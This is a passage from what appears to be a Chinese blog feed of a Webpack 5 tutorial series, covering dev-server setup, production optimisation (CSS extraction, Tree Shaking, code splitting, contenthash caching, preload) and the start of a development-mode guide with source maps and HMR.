<pre><code class="language-javascript">module.exports = {
  devServer: {
    host: "localhost",      // 服务器域名
    port: 3000,             // 服务器端口
    open: true,             // 自动打开浏览器
    hot: true,              // 开启 HMR
    compress: true,         // 启用 gzip 压缩
    proxy: {                // 代理配置
      "/api": {
        target: "http://localhost:8080",
        changeOrigin: true,
        pathRewrite: { "^/api": "" },
      },
    },
  },
};</code></pre>
<h3>7.2 启动脚本</h3>
<p><strong>package.json 配置：</strong></p>
<pre><code class="language-json">{
  "scripts": {
    "start": "npm run dev",
    "dev": "npx webpack serve --config webpack.config.js",
    "build": "npx webpack --config webpack.prod.js"
  }
}</code></pre>
<p><strong>启动开发服务器：</strong></p>
<pre><code class="language-bash">npm run dev</code></pre>
<h3>7.3 开发服务器特点</h3>
<ul>
<li>✅ 代码在<strong>内存中编译打包</strong>，不输出到磁盘</li>
<li>✅ 支持<strong>热模块替换（HMR）</strong></li>
<li>✅ 自动刷新浏览器</li>
<li>✅ 支持<strong>代理</strong>解决跨域问题</li>
</ul>
<hr />
<h2>八、完整配置示例</h2>
<h3>8.1 开发模式配置</h3>
<pre><code class="language-javascript">const path = require("path");
const ESLintWebpackPlugin = require("eslint-webpack-plugin");
const HtmlWebpackPlugin = require("html-webpack-plugin");

module.exports = {
  entry: "./src/main.js",
  output: {
    path: undefined,  // 开发模式不输出
    filename: "static/js/main.js",
  },
  module: {
    rules: [
      {
        test: /\.css$/,
        use: ["style-loader", "css-loader"],
      },
      {
        test: /\.less$/,
        use: ["style-loader", "css-loader", "less-loader"],
      },
      {
        test: /\.s[ac]ss$/,
        use: ["style-loader", "css-loader", "sass-loader"],
      },
      {
        test: /\.(png|jpe?g|gif|webp)$/,
        type: "asset",
        parser: {
          dataUrlCondition: {
            maxSize: 10 * 1024,
          },
        },
      },
      {
        test: /\.(ttf|woff2?)$/,
        type: "asset/resource",
        generator: {
          filename: "static/media/[hash:8][ext][query]",
        },
      },
      {
        test: /\.js$/,
        exclude: /node_modules/,
        loader: "babel-loader",
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
    }),
    new HtmlWebpackPlugin({
      template: path.resolve(__dirname, "public/index.html"),
    }),
  ],
  devServer: {
    host: "localhost",
    port: 3000,
    open: true,
    hot: true,
  },
  mode: "development",
  devtool: "cheap-module-source-map",
};</code></pre>
<h3>8.2 生产模式配置</h3>
<pre><code class="language-javascript">const path = require("path");
const ESLintWebpackPlugin = require("eslint-webpack-plugin");
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const CssMinimizerPlugin = require("css-minimizer-webpack-plugin");
const TerserPlugin = require("terser-webpack-plugin");

module.exports = {
  entry: "./src/main.js",
  output: {
    path: path.resolve(__dirname, "dist"),
    filename: "js/[name].[contenthash:8].js",
    clean: true,
  },
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          MiniCssExtractPlugin.loader,
          "css-loader",
          {
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: ["postcss-preset-env"],
              },
            },
          },
        ],
      },
      {
        test: /\.less$/,
        use: [
          MiniCssExtractPlugin.loader,
          "css-loader",
          "less-loader",
        ],
      },
      {
        test: /\.(png|jpe?g|gif|webp)$/,
        type: "asset",
        parser: {
          dataUrlCondition: {
            maxSize: 10 * 1024,
          },
        },
      },
      {
        test: /\.(ttf|woff2?)$/,
        type: "asset/resource",
        generator: {
          filename: "media/[name].[contenthash:8][ext]",
        },
      },
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: [
          {
            loader: "babel-loader",
            options: {
              cacheDirectory: true,
              plugins: ["@babel/plugin-transform-runtime"],
            },
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      cache: true,
    }),
    new HtmlWebpackPlugin({
      template: path.resolve(__dirname, "public/index.html"),
      minify: {
        collapseWhitespace: true,
        removeComments: true,
      },
    }),
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
    }),
  ],
  optimization: {
    minimizer: [
      new CssMinimizerPlugin(),
      new TerserPlugin(),
    ],
    splitChunks: {
      chunks: "all",
    },
  },
  mode: "production",
  devtool: "source-map",
};</code></pre>
<hr />
<h2>九、小结</h2>
<p>本篇我们学习了 Webpack 处理各种资源的完整方案：</p>
<table>
<thead>
<tr>
<th>资源类型</th>
<th>核心方案</th>
<th>关键配置</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>CSS</strong></td>
<td>style-loader + css-loader</td>
<td>生产模式用 MiniCssExtractPlugin</td>
</tr>
<tr>
<td><strong>Less/Sass</strong></td>
<td>预处理器 Loader</td>
<td>添加对应预处理器依赖</td>
</tr>
<tr>
<td><strong>JS</strong></td>
<td>babel-loader + ESLint</td>
<td>开启缓存优化速度</td>
</tr>
<tr>
<td><strong>HTML</strong></td>
<td>HtmlWebpackPlugin</td>
<td>自动引入资源</td>
</tr>
<tr>
<td><strong>图片</strong></td>
<td>Asset Modules</td>
<td>type: &quot;asset&quot;</td>
</tr>
<tr>
<td><strong>字体</strong></td>
<td>Asset Modules</td>
<td>type: &quot;asset/resource&quot;</td>
</tr>
</tbody>
</table>
<p><strong>最佳实践总结：</strong></p>
<ol>
<li>✅ 开发模式使用 <code>style-loader</code>（热更新）</li>
<li>✅ 生产模式使用 <code>MiniCssExtractPlugin</code>（提取 CSS）</li>
<li>✅ 图片使用 Asset Modules（Webpack 5 内置）</li>
<li>✅ 字体图标使用 <code>asset/resource</code></li>
<li>✅ HTML 使用 <code>HtmlWebpackPlugin</code> 自动生成</li>
<li>✅ 开启 Babel 和 ESLint 缓存</li>
</ol>
<p><strong>下一篇预告：</strong> 《高级优化实战》—— 深入讲解 PWA、Core-js、多进程打包、性能分析等高级主题，让你的项目达到生产级优化水准！</p>
<hr />
<p><strong>系列导航：</strong></p>
<ul>
<li><a href="?post=37">⏭️ 第1篇：入门</a></li>
<li><a href="?post=38">⏭️ 第2篇：开发模式</a></li>
<li><a href="?post=39">⏭️ 第3篇：生产模式</a></li>
<li>📌 第4篇：资源处理（本文）</li>
<li><a href="?post=41">⏭️ 第5篇：高级优化</a></li>
</ul>
<hr />
<p><em>本文基于 Webpack 5 编写，如有问题欢迎留言讨论。</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:49:23 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=40</guid>
</item>
<item>
    <title>Webpack 生产模式与性能优化 —— 让你的应用加载快 80%</title>
    <link>http://blog.kaiyu.work/?post=39</link>
    <description><![CDATA[<h1>Webpack 生产模式与性能优化 —— 让你的应用加载快 80%</h1>
<blockquote>
<h3>📚 Webpack 系列文章导航</h3>
<p><a href="?post=37">第1篇：入门</a> | <a href="?post=38">第2篇：开发模式</a> | <strong>第3篇：生产模式</strong> ← 当前 | <a href="?post=40">第4篇：资源处理</a> | <a href="?post=41">第5篇：高级优化</a></p>
</blockquote>
<hr />
<h2>一、生产模式核心目标</h2>
<p>生产模式的目标只有一个：<strong>让用户更快地看到页面</strong>。</p>
<p>具体从三个维度优化：</p>
<ol>
<li><strong>减少体积</strong> — 让用户下载更少的代码</li>
<li><strong>提升性能</strong> — 让代码运行更快</li>
<li><strong>优化缓存</strong> — 让二次访问更快</li>
</ol>
<hr />
<h2>二、提取 CSS 为单独文件</h2>
<h3>2.1 为什么要提取 CSS？</h3>
<p><strong>开发模式：</strong> CSS 通过 <code>style-loader</code> 注入到 <code>&lt;style&gt;</code> 标签中</p>
<p><strong>问题：</strong></p>
<ul>
<li>CSS 和 JS 混在一起，无法并行加载</li>
<li>页面加载时会出现<strong>闪屏现象</strong>（先显示无样式 HTML，再渲染 CSS）</li>
<li>无法利用浏览器 CSS 缓存</li>
</ul>
<p><strong>解决方案：</strong> 将 CSS 提取为独立的 <code>.css</code> 文件，通过 <code>&lt;link&gt;</code> 标签加载。</p>
<h3>2.2 配置方法</h3>
<p><strong>安装插件：</strong></p>
<pre><code class="language-bash">npm i mini-css-extract-plugin -D</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">const MiniCssExtractPlugin = require("mini-css-extract-plugin");

module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          MiniCssExtractPlugin.loader,  // 替换 style-loader
          "css-loader",
        ],
      },
      {
        test: /\.less$/,
        use: [
          MiniCssExtractPlugin.loader,
          "css-loader",
          "less-loader",
        ],
      },
    ],
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "static/css/main.css",           // 主文件
      chunkFilename: "static/css/[name].css",    // 动态导入文件
    }),
  ],
};</code></pre>
<p><strong>效果：</strong> 生成独立的 <code>main.css</code> 文件，通过 <code>&lt;link&gt;</code> 标签加载。</p>
<hr />
<h2>三、CSS 压缩与兼容性处理</h2>
<h3>3.1 CSS 压缩</h3>
<p><strong>安装插件：</strong></p>
<pre><code class="language-bash">npm i css-minimizer-webpack-plugin -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">const CssMinimizerPlugin = require("css-minimizer-webpack-plugin");

module.exports = {
  optimization: {
    minimizer: [
      new CssMinimizerPlugin(),  // CSS 压缩
    ],
  },
};</code></pre>
<p><strong>压缩效果：</strong></p>
<pre><code class="language-css">/* 压缩前 */
.box {
  width: 100px;
  height: 100px;
  background-color: pink;
}

/* 压缩后 */
.box{width:100px;height:100px;background-color:pink}</code></pre>
<h3>3.2 CSS 兼容性处理</h3>
<p>使用 <code>postcss-loader</code> 自动添加浏览器前缀：</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i postcss-loader postcss postcss-preset-env -D</code></pre>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          MiniCssExtractPlugin.loader,
          "css-loader",
          {
            loader: "postcss-loader",
            options: {
              postcssOptions: {
                plugins: [
                  "postcss-preset-env",  // 自动添加浏览器前缀
                ],
              },
            },
          },
        ],
      },
    ],
  },
};</code></pre>
<p><strong>效果：</strong> 自动添加 <code>-webkit-</code>、<code>-moz-</code> 等浏览器前缀。</p>
<hr />
<h2>四、Tree Shaking —— 摇掉无用代码</h2>
<h3>4.1 什么是 Tree Shaking？</h3>
<p><strong>Tree Shaking</strong> 是一个术语，用于描述<strong>移除 JavaScript 中没有使用的代码</strong>。</p>
<p><strong>原理：</strong> 依赖 ES Module 的静态结构特性，在编译时分析哪些导出没有被使用。</p>
<h3>4.2 示例</h3>
<p><strong>工具库文件（utils.js）：</strong></p>
<pre><code class="language-javascript">export function add(a, b) {
  return a + b;
}

export function subtract(a, b) {
  return a - b;
}

export function multiply(a, b) {
  return a * b;
}

export function divide(a, b) {
  return a / b;
}</code></pre>
<p><strong>使用文件（main.js）：</strong></p>
<pre><code class="language-javascript">import { add } from "./utils";

console.log(add(1, 2));</code></pre>
<p><strong>打包结果：</strong> 只有 <code>add</code> 函数被打包，其他三个函数被摇掉。</p>
<h3>4.3 启用条件</h3>
<ol>
<li>✅ 使用 <strong>ES Module</strong> 语法（<code>import</code>/<code>export</code>）</li>
<li>✅ 生产模式（Webpack 默认开启）</li>
<li>✅ <code>package.json</code> 中配置 <code>"sideEffects": false</code></li>
</ol>
<p><strong>sideEffects 配置：</strong></p>
<pre><code class="language-json">{
  "sideEffects": false  // 所有文件都没有副作用，可以安全 Tree Shaking
}</code></pre>
<p><strong>注意：</strong> 如果有副作用文件（如 CSS 文件），需要排除：</p>
<pre><code class="language-json">{
  "sideEffects": [
    "*.css",
    "*.scss",
    "*.less"
  ]
}</code></pre>
<hr />
<h2>五、Babel 优化 —— 减少辅助代码</h2>
<h3>5.1 问题</h3>
<p>Babel 编译时，会为每个文件插入辅助代码（如 <code>_extends</code>、<code>_classCallCheck</code>）：</p>
<pre><code class="language-javascript">// 编译前
class Person {
  constructor(name) {
    this.name = name;
  }
}

// 编译后（每个文件都插入）
function _classCallCheck(instance, Constructor) {
  if (!(instance instanceof Constructor)) {
    throw new TypeError("Cannot call a class as a function");
  }
}</code></pre>
<p><strong>问题：</strong> 如果有 100 个文件，辅助代码就重复 100 次，体积巨大。</p>
<h3>5.2 解决方案</h3>
<p>使用 <code>@babel/plugin-transform-runtime</code> 将辅助代码提取到独立模块：</p>
<p><strong>安装依赖：</strong></p>
<pre><code class="language-bash">npm i @babel/plugin-transform-runtime -D
npm i @babel/runtime -D  # 运行时依赖</code></pre>
<p><strong>babel.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  presets: ["@babel/preset-env"],
  plugins: [
    ["@babel/plugin-transform-runtime", {
      "corejs": 3,  // 启用 core-js  polyfill
    }],
  ],
};</code></pre>
<p><strong>效果：</strong> 所有文件共享同一份辅助代码，体积减少 30%-50%。</p>
<hr />
<h2>六、代码分割（Code Split）</h2>
<h3>6.1 为什么要代码分割？</h3>
<p><strong>问题：</strong> 所有代码打包成一个文件，体积过大（可能几 MB），用户首次加载慢。</p>
<p><strong>解决方案：</strong> 将代码分割成多个小文件，<strong>按需加载</strong>。</p>
<h3>6.2 多入口分割</h3>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  entry: {
    main: "./src/main.js",
    admin: "./src/admin.js",
  },
  output: {
    filename: "js/[name].js",  // 使用 [name] 占位符
  },
};</code></pre>
<p><strong>输出：</strong> 生成 <code>main.js</code> 和 <code>admin.js</code> 两个文件。</p>
<h3>6.3 提取公共代码</h3>
<p><strong>场景：</strong> 多入口文件引用了同一个模块，避免重复打包。</p>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  optimization: {
    splitChunks: {
      chunks: "all",  // 对所有模块进行分割
      cacheGroups: {
        default: {
          minChunks: 2,        // 至少被引用 2 次
          priority: -20,       // 权重
          reuseExistingChunk: true,  // 重用已有 chunk
        },
      },
    },
  },
};</code></pre>
<p><strong>效果：</strong> 公共模块提取到独立的 <code>vendors.js</code> 文件中。</p>
<h3>6.4 动态导入（按需加载）</h3>
<p><strong>场景：</strong> 某些代码只在特定条件下使用（如点击按钮、路由切换）。</p>
<p><strong>语法：</strong></p>
<pre><code class="language-javascript">// 动态导入
document.getElementById("btn").onclick = async () =&gt; {
  const { sum } = await import("./math.js");
  console.log(sum(1, 2, 3, 4));
};</code></pre>
<p><strong>Webpack 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  output: {
    filename: "js/[name].js",
    chunkFilename: "js/[name].chunk.js",  // 动态导入文件命名
  },
  optimization: {
    splitChunks: {
      chunks: "all",
    },
  },
};</code></pre>
<p><strong>效果：</strong> <code>math.js</code> 被分割成独立的 chunk，点击按钮时才加载。</p>
<h3>6.5 给动态导入文件命名</h3>
<p><strong>默认命名：</strong> 动态导入的文件名是数字（如 <code>123.chunk.js</code>），不利于缓存管理。</p>
<p><strong>自定义命名：</strong></p>
<pre><code class="language-javascript">// webpackChunkName: "math"
import(/* webpackChunkName: "math" */ "./math.js").then(({ sum }) =&gt; {
  console.log(sum(1, 2, 3, 4));
});</code></pre>
<p><strong>输出：</strong> <code>math.chunk.js</code></p>
<hr />
<h2>七、网络缓存优化</h2>
<h3>7.1 为什么需要缓存？</h3>
<p><strong>场景：</strong> 用户第一次访问网站后，第二次访问时：</p>
<ul>
<li><strong>无缓存：</strong> 重新下载所有文件（慢）</li>
<li><strong>有缓存：</strong> 直接使用本地缓存（快）</li>
</ul>
<p><strong>问题：</strong> 如果文件名不变，浏览器会一直使用旧缓存，用户无法获取更新。</p>
<p><strong>解决方案：</strong> 文件名带 hash 值，内容变化时 hash 变化，强制浏览器重新下载。</p>
<h3>7.2 Hash 类型对比</h3>
<table>
<thead>
<tr>
<th>Hash 类型</th>
<th>说明</th>
<th>适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>hash</code></td>
<td>整个项目的 hash，任意文件修改，所有文件 hash 都变</td>
<td>不推荐</td>
</tr>
<tr>
<td><code>chunkhash</code></td>
<td>根据入口文件生成，同入口的文件共享 hash</td>
<td>JS 文件</td>
</tr>
<tr>
<td><code>contenthash</code></td>
<td>根据文件内容生成，内容不变 hash 不变</td>
<td><strong>推荐</strong></td>
</tr>
</tbody>
</table>
<h3>7.3 配置 contenthash</h3>
<pre><code class="language-javascript">module.exports = {
  output: {
    filename: "js/[name].[contenthash:8].js",      // 入口文件
    chunkFilename: "js/[name].[contenthash:8].chunk.js",  // 动态导入
    assetModuleFilename: "media/[name].[contenthash:8][ext]",  // 图片字体
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
      chunkFilename: "css/[name].[contenthash:8].chunk.css",
    }),
  ],
};</code></pre>
<p><strong>效果：</strong></p>
<ul>
<li><code>main.a1b2c3d4.js</code> — 内容变化时 hash 变化</li>
<li><code>style.e5f6g7h8.css</code> — CSS 内容变化时 hash 变化</li>
</ul>
<h3>7.4 Runtime 文件</h3>
<p><strong>问题：</strong> 修改一个模块，主文件的 hash 也会变化（因为引用关系变化）。</p>
<p><strong>解决方案：</strong> 将 hash 映射关系提取到独立的 <code>runtime.js</code> 文件中。</p>
<p><strong>配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  optimization: {
    runtimeChunk: {
      name: "runtime",
    },
  },
};</code></pre>
<p><strong>效果：</strong> 修改业务代码时，只有业务文件和 runtime 变化，主入口文件 hash 不变。</p>
<hr />
<h2>八、Preload / Prefetch —— 预加载资源</h2>
<h3>8.1 为什么需要预加载？</h3>
<p><strong>场景：</strong> 用户点击按钮后才加载某个模块，如果模块体积大，会感到明显卡顿。</p>
<p><strong>解决方案：</strong> 在浏览器空闲时提前加载资源。</p>
<h3>8.2 Preload vs Prefetch</h3>
<table>
<thead>
<tr>
<th>特性</th>
<th>Preload</th>
<th>Prefetch</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>加载时机</strong></td>
<td>立即加载</td>
<td>浏览器空闲时加载</td>
</tr>
<tr>
<td><strong>优先级</strong></td>
<td>高</td>
<td>低</td>
</tr>
<tr>
<td><strong>适用范围</strong></td>
<td>当前页面需要的资源</td>
<td>下一个页面需要的资源</td>
</tr>
<tr>
<td><strong>兼容性</strong></td>
<td>较好</td>
<td>较差</td>
</tr>
</tbody>
</table>
<h3>8.3 配置方法</h3>
<p><strong>安装插件：</strong></p>
<pre><code class="language-bash">npm i @vue/preload-webpack-plugin -D</code></pre>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">const PreloadWebpackPlugin = require("@vue/preload-webpack-plugin");

module.exports = {
  plugins: [
    new PreloadWebpackPlugin({
      rel: "preload",      // 或 prefetch
      as: "script",
    }),
  ],
};</code></pre>
<p><strong>HTML 输出：</strong></p>
<pre><code class="language-html">&lt;!-- Preload --&gt;
&lt;link rel="preload" href="js/math.chunk.js" as="script"&gt;

&lt;!-- Prefetch --&gt;
&lt;link rel="prefetch" href="js/next-page.chunk.js"&gt;</code></pre>
<hr />
<h2>九、生产模式完整配置</h2>
<h3>9.1 完整示例</h3>
<pre><code class="language-javascript">const os = require("os");
const path = require("path");
const ESLintWebpackPlugin = require("eslint-webpack-plugin");
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const CssMinimizerPlugin = require("css-minimizer-webpack-plugin");
const TerserPlugin = require("terser-webpack-plugin");
const PreloadWebpackPlugin = require("@vue/preload-webpack-plugin");

const threads = os.cpus().length;

const getStyleLoaders = (preProcessor) =&gt; {
  return [
    MiniCssExtractPlugin.loader,
    "css-loader",
    {
      loader: "postcss-loader",
      options: {
        postcssOptions: {
          plugins: ["postcss-preset-env"],
        },
      },
    },
    preProcessor,
  ].filter(Boolean);
};

module.exports = {
  entry: "./src/main.js",
  output: {
    path: path.resolve(__dirname, "dist"),
    filename: "js/[name].[contenthash:8].js",
    chunkFilename: "js/[name].[contenthash:8].chunk.js",
    assetModuleFilename: "media/[name].[contenthash:8][ext]",
    clean: true,
  },
  module: {
    rules: [
      {
        oneOf: [
          {
            test: /\.css$/,
            use: getStyleLoaders(),
          },
          {
            test: /\.less$/,
            use: getStyleLoaders("less-loader"),
          },
          {
            test: /\.s[ac]ss$/,
            use: getStyleLoaders("sass-loader"),
          },
          {
            test: /\.(png|jpe?g|gif|webp)$/,
            type: "asset",
            parser: {
              dataUrlCondition: {
                maxSize: 10 * 1024,
              },
            },
          },
          {
            test: /\.(ttf|woff2?)$/,
            type: "asset/resource",
          },
          {
            test: /\.js$/,
            include: path.resolve(__dirname, "src"),
            use: [
              {
                loader: "thread-loader",
                options: { workers: threads },
              },
              {
                loader: "babel-loader",
                options: {
                  cacheDirectory: true,
                  cacheCompression: false,
                  plugins: ["@babel/plugin-transform-runtime"],
                },
              },
            ],
          },
        ],
      },
    ],
  },
  plugins: [
    new ESLintWebpackPlugin({
      context: path.resolve(__dirname, "src"),
      exclude: /node_modules/,
      cache: true,
      threads,
    }),
    new HtmlWebpackPlugin({
      template: path.resolve(__dirname, "public/index.html"),
    }),
    new MiniCssExtractPlugin({
      filename: "css/[name].[contenthash:8].css",
      chunkFilename: "css/[name].[contenthash:8].chunk.css",
    }),
    new PreloadWebpackPlugin({
      rel: "preload",
      as: "script",
    }),
  ],
  optimization: {
    minimizer: [
      new CssMinimizerPlugin(),
      new TerserPlugin({
        parallel: threads,
      }),
    ],
    splitChunks: {
      chunks: "all",
    },
    runtimeChunk: {
      name: "runtime",
    },
  },
  mode: "production",
  devtool: "source-map",
};</code></pre>
<h3>9.2 打包脚本</h3>
<p><strong>package.json：</strong></p>
<pre><code class="language-json">{
  "scripts": {
    "build": "npx webpack --config webpack.prod.js"
  }
}</code></pre>
<p><strong>执行打包：</strong></p>
<pre><code class="language-bash">npm run build</code></pre>
<hr />
<h2>十、小结</h2>
<p>本篇我们学习了生产模式的完整优化方案：</p>
<table>
<thead>
<tr>
<th>优化项</th>
<th>作用</th>
<th>体积减少</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>提取 CSS</strong></td>
<td>并行加载，避免闪屏</td>
<td>-</td>
</tr>
<tr>
<td><strong>CSS 压缩</strong></td>
<td>压缩 CSS 代码</td>
<td>30%-50%</td>
</tr>
<tr>
<td><strong>Tree Shaking</strong></td>
<td>移除未使用代码</td>
<td>20%-40%</td>
</tr>
<tr>
<td><strong>Babel Runtime</strong></td>
<td>减少辅助代码重复</td>
<td>30%-50%</td>
</tr>
<tr>
<td><strong>代码分割</strong></td>
<td>按需加载</td>
<td>-</td>
</tr>
<tr>
<td><strong>contenthash</strong></td>
<td>长期缓存</td>
<td>-</td>
</tr>
<tr>
<td><strong>Preload/Prefetch</strong></td>
<td>提前加载资源</td>
<td>感知速度提升</td>
</tr>
</tbody>
</table>
<p><strong>性能提升总结：</strong></p>
<ul>
<li>✅ 首次加载体积减少 <strong>50%-70%</strong></li>
<li>✅ 二次加载利用缓存，速度提升 <strong>80%+</strong></li>
<li>✅ 按需加载，减少初始加载时间</li>
</ul>
<p><strong>下一篇预告：</strong> 《资源处理大全》—— CSS/JS/HTML/图片/字体等资源处理的完整指南，包含各种 Loader 的详细配置和最佳实践！</p>
<hr />
<p><strong>系列导航：</strong></p>
<ul>
<li><a href="?post=37">⏭️ 第1篇：入门</a></li>
<li><a href="?post=38">⏭️ 第2篇：开发模式</a></li>
<li>📌 第3篇：生产模式（本文）</li>
<li><a href="?post=40">⏭️ 第4篇：资源处理</a></li>
<li><a href="?post=41">⏭️ 第5篇：高级优化</a></li>
</ul>
<hr />
<p><em>本文基于 Webpack 5 编写，如有问题欢迎留言讨论。</em></p>]]></description>
    <pubDate>Sat, 11 Apr 2026 12:49:22 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=39</guid>
</item>
<item>
    <title>Webpack 开发模式完全指南 —— 提升 10 倍开发效率</title>
    <link>http://blog.kaiyu.work/?post=38</link>
    <description><![CDATA[<h1>Webpack 开发模式完全指南 —— 提升 10 倍开发效率</h1>
<blockquote>
<h3>📚 Webpack 系列文章导航</h3>
<p><a href="?post=37">第1篇：入门</a> | <strong>第2篇：开发模式</strong> ← 当前 | <a href="?post=39">第3篇：生产模式</a> | <a href="?post=40">第4篇：资源处理</a> | <a href="?post=41">第5篇：高级优化</a></p>
</blockquote>
<hr />
<h2>一、开发模式核心目标</h2>
<p>开发模式的核心目标只有两个：</p>
<ol>
<li><strong>快速编译</strong> — 修改代码后立即看到效果</li>
<li><strong>精准调试</strong> — 错误提示准确指向源代码位置</li>
</ol>
<hr />
<h2>二、Source Map —— 精准定位错误</h2>
<h3>2.1 为什么需要 Source Map？</h3>
<p>Webpack 打包后的代码是完全不同的形式：</p>
<pre><code class="language-javascript">// 打包后的代码（根本看不懂）
/******/ (() =&gt; {
/******/   var __webpack_modules__ = ({
/******/     "./node_modules/css-loader/dist/cjs.js!./src/less/index.less":
/******/     ((module, __webpack_exports__, __webpack_require__) =&gt; {
/******/       eval("__webpack_require__.r(__webpack_exports__);\n...");
/******/     })
/******/   });
/******/ })();</code></pre>
<p><strong>问题：</strong> 一旦代码出错，错误提示的行号和列号对应的是打包后的代码，根本无法定位到源代码。</p>
<h3>2.2 Source Map 工作原理</h3>
<p>Source Map 是一个 <code>.map</code> 文件，包含<strong>源代码与构建后代码的行列映射关系</strong>：</p>
<pre><code>源代码 (src/main.js)     打包后代码 (dist/main.js)
第 1 行 第 1 列  ────────→  第 10 行 第 5 列
第 2 行 第 5 列  ────────→  第 15 行 第 20 列
...</code></pre>
<p>当浏览器运行出错时，通过 <code>.map</code> 文件反向映射，提示<strong>源代码的错误位置</strong>。</p>
<h3>2.3 配置方案</h3>
<p><strong>开发模式推荐配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  mode: "development",
  devtool: "cheap-module-source-map",
};</code></pre>
<p><strong>为什么选这个？</strong></p>
<table>
<thead>
<tr>
<th>配置值</th>
<th>优点</th>
<th>缺点</th>
<th>适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>cheap-module-source-map</code></td>
<td>打包快，只包含行映射</td>
<td>没有列映射</td>
<td><strong>开发模式（推荐）</strong></td>
</tr>
<tr>
<td><code>source-map</code></td>
<td>包含完整的行/列映射</td>
<td>打包速度慢</td>
<td>生产模式</td>
</tr>
<tr>
<td><code>eval</code></td>
<td>最快</td>
<td>没有映射信息</td>
<td>不推荐</td>
</tr>
<tr>
<td><code>false</code></td>
<td>不生成 map 文件</td>
<td>无法调试</td>
<td>生产模式（可选）</td>
</tr>
</tbody>
</table>
<p><strong>生产模式配置（可选）：</strong></p>
<pre><code class="language-javascript">module.exports = {
  mode: "production",
  devtool: "source-map",  // 或者 false 不生成
};</code></pre>
<hr />
<h2>三、HMR 热模块替换 —— 无需刷新页面</h2>
<h3>3.1 为什么需要 HMR？</h3>
<p><strong>传统开发流程：</strong></p>
<ol>
<li>修改代码</li>
<li>保存文件</li>
<li>Webpack 重新打包<strong>所有模块</strong></li>
<li>手动刷新浏览器</li>
<li>等待页面加载</li>
</ol>
<p><strong>HMR 开发流程：</strong></p>
<ol>
<li>修改代码</li>
<li>保存文件</li>
<li>Webpack <strong>只重新打包修改的模块</strong></li>
<li>自动推送到浏览器（无需刷新）</li>
<li>立即看到效果</li>
</ol>
<p><strong>效率提升：</strong> 从 5-10 秒缩短到 0.5 秒！</p>
<h3>3.2 启用 HMR</h3>
<p><strong>webpack.config.js 配置：</strong></p>
<pre><code class="language-javascript">module.exports = {
  mode: "development",
  devServer: {
    host: "localhost",
    port: 3000,
    open: true,      // 自动打开浏览器
    hot: true,       // 开启 HMR
  },
  devtool: "cheap-module-source-map",
};</code></pre>
<p><strong>启动开发服务器：</strong></p>
<pre><code class="language-bash">npx webpack serve --config webpack.config.js</code></pre>
<h3>3.3 CSS 的 HMR</h3>
<p>经过 <code>style-loader</code> 处理的 CSS <strong>天然支持 HMR</strong>，无需额外配置。</p>
<p>修改样式后，页面不会刷新，样式自动更新。</p>
<h3>3.4 JS 的 HMR</h3>
<p>JS 的 HMR 需要手动处理模块热替换：</p>
<pre><code class="language-javascript">// main.js
import count from "./js/count";

const result = count(2, 1);
console.log(result);

// 启用 HMR
if (module.hot) {
  module.hot.accept("./js/count.js", () =&gt; {
    // count.js 更新后重新执行
    const newResult = count(2, 1);
    console.log("count 模块更新了:", newResult);
  });
}</code></pre>
<p><strong>实际开发中：</strong> 使用框架（Vue/React）时，框架已内置 HMR 支持，无需手动配置。</p>
<hr />
<h2>四、OneOf —— 提升打包速度</h2>
<h3>4.1 为什么需要 OneOf？</h3>
<p><strong>默认行为：</strong> 每个文件都会经过<strong>所有 loader</strong> 的 <code>test</code> 匹配，即使最终不处理。</p>
<pre><code>main.js → test(/.css/) ❌ → test(/.less/) ❌ → test(/.js/) ✅
index.css → test(/.css/) ✅ → test(/.less/) ❌ → test(/.js/) ❌</code></pre>
<p><strong>问题：</strong> 每个文件都要过一遍所有规则，效率低。</p>
<h3>4.2 OneOf 解决方案</h3>
<p><strong>OneOf 规则：</strong> 一旦匹配上一个 loader，就不再匹配其他规则。</p>
<pre><code class="language-javascript">module.exports = {
  module: {
    rules: [
      {
        oneOf: [
          {
            test: /\.css$/,
            use: ["style-loader", "css-loader"],
          },
          {
            test: /\.less$/,
            use: ["style-loader", "css-loader", "less-loader"],
          },
          {
            test: /\.js$/,
            exclude: /node_modules/,
            loader: "babel-loader",
          },
          // ... 其他规则
        ],
      },
    ],
  },
};</code></pre>
<p><strong>效果：</strong> 每个文件最多只经过一个 loader 处理，打包速度提升 30%-50%。</p>
<hr />
<h2>五、Include / Exclude —— 排除不需要处理的文件</h2>
<h3>5.1 为什么要排除？</h3>
